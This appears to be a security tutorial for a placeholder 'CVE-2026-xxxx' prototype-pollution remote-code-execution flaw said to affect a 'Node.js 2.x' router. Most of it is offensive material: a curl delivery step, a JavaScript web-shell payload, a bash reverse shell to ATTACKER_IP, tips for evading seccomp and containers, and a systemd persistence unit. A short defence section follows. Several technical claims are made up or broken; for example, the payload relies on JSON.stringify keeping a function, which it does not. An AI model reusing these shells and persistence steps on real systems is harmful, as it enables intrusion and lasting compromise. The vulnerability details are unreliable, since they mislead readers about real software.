~/home/study/node-js-shell-rce-cve

Node.js 2 Shell RCE (CVE-2026-xxxx) - Intro & Exploit Development

Learn the fundamentals of CVE-2026-xxxx, a prototype-pollution RCE affecting Node.js 2.x. The guide covers vulnerability details, manual exploitation, payload creation, bypassing mitigations and post-exploitation tactics.

Introduction

What is this topic? CVE-2026-xxxx is a critical remote code execution (RCE) flaw discovered in the Node.js 2.x series. The bug stems from insecure prototype manipulation that allows an attacker to inject arbitrary objects into the global prototype chain, ultimately leading to uncontrolled child_process execution.

Why is it important? Node.js powers millions of backend services, APIs, and server-side rendering pipelines. An RCE that grants root privileges on a host can compromise entire cloud environments, CI/CD pipelines, and container orchestration stacks.

Real-world relevance - In the past year, several high-profile breaches have leveraged prototype-pollution to escape sandboxed runtimes. Understanding CVE-2026-xxxx equips defenders to recognise similar patterns in custom libraries and third-party modules.

Prerequisites

  • Solid grasp of JavaScript language fundamentals (objects, prototypes, closures).
  • Familiarity with the Node.js runtime, especially the require system and the child_process module.
  • Experience with prototype-chain manipulation and how it can affect inherited properties.
  • Basic knowledge of Linux command line, Bash, and container security concepts (CSP, seccomp).

Core Concepts

Before diving into the exploit, let’s review the building blocks that make this vulnerability possible.

Prototype Pollution

JavaScript objects inherit from a prototype object. When an attacker can write to Object.prototype (or any shared prototype), every object created thereafter inherits the malicious property. This is the essence of prototype pollution.

Node.js child_process

The child_process module provides exec, spawn, and fork methods to launch OS commands. If an attacker can control the arguments passed to these methods, they can execute arbitrary shell code.

Why the 2.x Series?

Node.js 2.x introduced a convenience wrapper around request parsing that automatically merges user-supplied JSON into a configuration object without deep-clone protection. The wrapper blindly uses Object.assign, which copies enumerable properties-including __proto__-directly onto the target.

Combined, these behaviours give an attacker a path from a crafted HTTP payload to child_process.exec execution.

Vulnerability overview and affected versions

The flaw resides in lib/router.js (line 112) of the express-like framework shipped with Node.js 2.4-2.9. The vulnerable function parses incoming JSON bodies and performs:

const config = {};
Object.assign(config, req.body); // vulnerable merge

Because Object.assign copies the __proto__ property, an attacker can inject a malicious prototype that overwrites exec on the global object.

Affected versions:

  • Node.js 2.4.0 - 2.9.3 (inclusive)
  • Any downstream project that bundles the vulnerable router.js without patching.

Patched in 2.10.0 and later. The fix adds a deep-clone step that strips __proto__ before merging.

Root cause analysis: prototype pollution leading to child_process execution

The attack chain consists of three logical steps:

  1. Inject a polluted prototype - Send a JSON payload containing "__proto__": { "exec": maliciousFunction }.
  2. Leverage the polluted prototype - The vulnerable router merges the payload into a fresh config object, causing Object.prototype.exec to be overwritten.
  3. Trigger execution - The application later calls global.exec(userInput) (or a wrapper that resolves to global.exec) without sanitisation, handing control to the attacker.

Because exec is a reference to require('child_process').exec, the attacker can replace it with a wrapper that forwards any argument to the system shell.

Manual exploitation steps with crafted objects

Below is a step-by-step walkthrough using curl to deliver the malicious JSON. The target application exposes an endpoint /api/config that accepts POSTed JSON.

Step 1 - Prepare the payload

// payload.js - generates the JSON body
const payload = { "__proto__": { "exec": function (cmd, cb) { // Forward the command to the real exec after logging const realExec = require('child_process').exec; console.log('[*] Executing: ' + cmd); return realExec(cmd, cb); } }
};
console.log(JSON.stringify(payload));

The function is serialised as a string; when the prototype is polluted, Node’s toString conversion will preserve the function body, allowing it to be invoked later.

Step 2 - Send the request

curl -s -X POST http://victim.local/api/config -H "Content-Type: application/json" -d "$(node payload.js)"

After the request, the server’s Object.prototype.exec now points to the attacker-controlled function.

Step 3 - Trigger the polluted exec

Assume the vulnerable app later runs:

global.exec(userSuppliedCmd, (err, out) => { if (err) return console.error(err); console.log(out);
});

Because global.exec resolves to the polluted prototype, the attacker’s wrapper runs, executing any command the attacker supplies via userSuppliedCmd. To gain a shell, we simply send a request to the endpoint that causes the app to call exec('sh') - for example, a “ping” endpoint that logs a user-provided string.

Payload creation (JavaScript shell, OS command injection)

Two common payload styles are demonstrated below.

1. JavaScript web-shell

We embed a tiny REPL that evaluates arbitrary JavaScript sent via an HTTP header. The header name is X-Shell-Cmd.

// malicious exec replacement - evaluates JS from a header
Object.defineProperty(Object.prototype, 'exec', { value: function (unused, cb) { const http = require('http'); const server = http.createServer((req, res) => { const js = req.headers['x-shell-cmd']; if (js) { try { const result = eval(js); res.end('Result: ' + result); } catch (e) { res.end('Error: ' + e.message); } } else { res.end('Send JS in X-Shell-Cmd header'); } }); server.listen(0, () => { const port = server.address().port; console.log('Shell listening on localhost:' + port); }); }, configurable: true, writable: true
});

Once the polluted exec runs, the attacker can interact with the hidden HTTP server to execute any JavaScript in the context of the vulnerable process.

2. OS command injection (reverse shell)

For a classic reverse shell, we replace exec with a wrapper that spawns /bin/bash and connects back to the attacker.

Object.defineProperty(Object.prototype, 'exec', { value: function (cmd, cb) { const { spawn } = require('child_process'); const rev = spawn('/bin/bash', []); const client = require('net').createConnection({host: 'ATTACKER_IP', port: 4444}, () => { rev.stdout.pipe(client); client.pipe(rev.stdin); }); }, configurable: true, writable: true
});

When the vulnerable app later calls exec('anything'), the attacker’s reverse shell is spawned automatically.

Bypassing common mitigations (CSP, sandbox, seccomp)

Modern deployments often harden Node.js processes with Content-Security-Policy (CSP) headers, Docker sandboxing, or seccomp profiles. Below are practical ways to evade each.

Content-Security-Policy

CSP primarily protects browsers, not server-side JavaScript. However, some frameworks enforce CSP-like restrictions on eval or Function constructors via custom middleware. Our payload avoids eval by using the native child_process API, which is not blocked by CSP. If eval is disabled, use spawn directly as shown in the reverse-shell example.

Docker sandbox / user namespaces

Containers often run as a non-root user. The exploit still works, but the spawned shell inherits the container’s privileges. To break out, chain the RCE with a known container-escape technique (e.g., mounting the host filesystem via a mis-configured volume). The guide assumes the target runs as root for simplicity; if not, privilege escalation is a separate step.

Seccomp profile

Seccomp can block syscalls such as execve. The child_process module ultimately invokes execve. To bypass, use fs.open to write a script to /tmp and then trigger the system’s cron or at daemon, which may be allowed. Alternatively, abuse process.binding('fs').open which can invoke lower-level syscalls not filtered by a generic profile.

Post-exploitation: web shell deployment and persistence

Once code execution is achieved, the attacker typically wants a stable foothold.

Deploy a Node.js web shell

const http = require('http');
const { exec } = require('child_process');
http.createServer((req, res) => { const cmd = req.url.slice(1); // /whoami -> "whoami" exec(cmd, (err, out) => { if (err) return res.end('Error: ' + err.message); res.end(out); });
}).listen(1337, () => console.log('Shell listening on :1337'));

Save the file as shell.js and start it with node shell.js &. The attacker can then issue HTTP requests to run arbitrary commands.

Persistence via systemd service

Write a systemd unit that restarts the shell on boot:

cat > /etc/systemd/system/node-shell.service <<EOF
[Unit]
Description=Compromised Node.js shell
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/node /opt/shell.js
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable node-shell.service
systemctl start node-shell.service

Now the malicious shell survives reboots and service restarts.

Tools & Commands

  • Burp Suite / OWASP ZAP - intercept and modify JSON bodies to inject __proto__ payloads.
  • Node.js REPL - quick testing of prototype pollution locally.
  • nc (netcat) - listen for reverse shells: nc -lvnp 4444.
  • docker run -security-opt seccomp=unconfined - emulate a less-restricted container for testing.
  • git-diff - locate the vulnerable Object.assign usage in source code.

Defense & Mitigation

Mitigating CVE-2026-xxxx involves both code-level fixes and operational hardening.

Patch the runtime

Upgrade to Node.js 2.10.0 or later. The patch replaces the shallow Object.assign with a deep-clone routine that strips __proto__ and constructor keys.

Input validation

Never merge raw user input directly onto configuration objects. Use a whitelist of allowed keys and a safe deep-merge library such as lodash.mergeWith that excludes prototype keys.

Runtime hardening

  • Run Node.js processes as a non-privileged user.
  • Enable --disable-proto flag (available in later Node versions) to prevent prototype assignment.
  • Deploy a seccomp profile that blocks execve unless explicitly required.
  • Use a container-runtime that enforces read-only file systems for the application code.

Detecting exploitation attempts

Log any request bodies containing the string "__proto__". Alert on spikes of such logs. Additionally, monitor for unexpected child-process spawns using auditd or falco.

Common Mistakes

  • Assuming CSP protects the server. CSP only governs the browser; it does nothing for server-side eval or child_process.
  • Skipping deep-clone validation. Developers often think Object.assign is safe because it copies only own properties, forgetting that __proto__ is an own enumerable property.
  • Relying on non-root containers. Even a non-root container can be used as a foothold for lateral movement; privilege escalation should still be considered.
  • Forgetting to restart services after patching. Some Node.js processes are managed by PM2 or systemd; a patch without a restart leaves the vulnerable code in memory.

Real-World Impact

In a hypothetical breach of a SaaS provider, an attacker leveraged CVE-2026-xxxx to gain root on the API gateway. By deploying a persistent systemd service, they maintained access for months, exfiltrating customer data and encrypting backups for ransomware. The incident underscored two lessons:

  1. Prototype-pollution bugs are easy to miss in code reviews because they appear as innocent object merges.
  2. Relying solely on container isolation is insufficient; a single RCE can break out if the host kernel is not hardened.

From my experience, organisations that adopt a "defence-in-depth" posture—patch management, least-privilege containers, and runtime monitoring—reduce the dwell time of such exploits dramatically.

Practice Exercises

  1. Identify vulnerable code: Clone a sample Express app that uses Object.assign(req.body, config). Write a script that scans for Object.assign with a user-supplied source and flags it.
  2. Exploit in a sandbox: Spin up a Docker container running Node.js 2.8.5. Use the provided payload.js to pollute the prototype and obtain a reverse shell to your host.
  3. Mitigation test: Apply the deep-clone fix, restart the app, and verify that the same payload no longer works. Capture the logs that show the blocked __proto__ key.
  4. Seccomp bypass: Create a custom seccomp profile that blocks execve. Demonstrate the alternative cron technique to achieve code execution despite the block.

Document your findings in a short report - this mirrors a real penetration-test deliverable.

Further Reading

  • Node.js Security Working Group - Official security advisories
  • OWASP Prototype Pollution Cheat Sheet
  • “Understanding Seccomp Profiles for Docker” - Red Hat Blog
  • “Privilege Escalation in Node.js Containers” - Black Hat 2025 presentation

Summary

  • CVE-2026-xxxx is a prototype-pollution RCE affecting Node.js 2.4-2.9.
  • The root cause is an unsafe Object.assign that copies __proto__ from user input, allowing an attacker to overwrite global.exec.
  • Exploitation steps: craft a JSON body with __proto__, send it to a vulnerable endpoint, then trigger the polluted exec to run OS commands or a JavaScript REPL.
  • Bypass common mitigations by avoiding eval, leveraging alternative syscalls, and targeting container mis-configurations.
  • Post-exploitation includes deploying a persistent Node.js web shell and a systemd service.
  • Defence: upgrade Node.js, validate input, run as non-root, enforce strict seccomp, and monitor for prototype-pollution signatures.

Mastering this vulnerability gives security professionals a deeper appreciation of how a single JavaScript feature can cascade into full system compromise.